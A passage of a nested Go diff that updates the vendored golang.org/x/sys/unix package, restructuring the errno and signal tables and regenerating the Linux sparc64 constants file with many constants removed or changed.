-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-index 95de199f..079762fa 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go
-@@ -1,915 +1,132 @@
--// mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// mkerrors.sh -Wall -Werror -static -I/tmp/include
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build sparc64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs -- -m64 _const.go
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2a
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
- ASI_LEON_DFLUSH = 0x11
- ASI_LEON_IFLUSH = 0x10
- ASI_LEON_MMUFLUSH = 0x18
-- B0 = 0x0
-- B1000000 = 0x100c
-- B110 = 0x3
-+ B1000000 = 0x1008
- B115200 = 0x1002
-- B1152000 = 0x100d
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100e
-- B153600 = 0x1006
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100f
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
- B230400 = 0x1003
-- B2400 = 0xb
-- B300 = 0x7
-- B307200 = 0x1007
-- B38400 = 0xf
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x100a
-+ B500000 = 0x1005
- B57600 = 0x1001
-- B576000 = 0x100b
-- B600 = 0x8
-- B614400 = 0x1008
-- B75 = 0x2
-- B76800 = 0x1005
-- B921600 = 0x1009
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
- BS1 = 0x2000
- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
- CBAUD = 0x100f
- CBAUDEX = 0x1000
-- CFLUSH = 0xf
- CIBAUD = 0x100f0000
- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
- CR1 = 0x200
- CR2 = 0x400
- CR3 = 0x600
- CRDLY = 0x600
- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
- CS6 = 0x10
- CS7 = 0x20
- CS8 = 0x30
-- CSIGNAL = 0xff
- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
- ECHOCTL = 0x200
- ECHOE = 0x10
- ECHOK = 0x20
- ECHOKE = 0x800
- ECHONL = 0x40
- ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x400000
-+ EFD_NONBLOCK = 0x4000
- EMT_TAGOVF = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
- EPOLL_CLOEXEC = 0x400000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
- FF1 = 0x8000
- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
- F_GETLK = 0x7
- F_GETLK64 = 0x7
- F_GETOWN = 0x5
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
- F_RDLCK = 0x1
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
- F_SETLK = 0x8
- F_SETLK64 = 0x8
- F_SETLKW = 0x9
- F_SETLKW64 = 0x9
- F_SETOWN = 0x6
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
- F_UNLCK = 0x3
- F_WRLCK = 0x2
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
- HUPCL = 0x400
-- IBSHIFT = 0x10
- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
- IN_CLOEXEC = 0x400000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
- IN_NONBLOCK = 0x4000
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
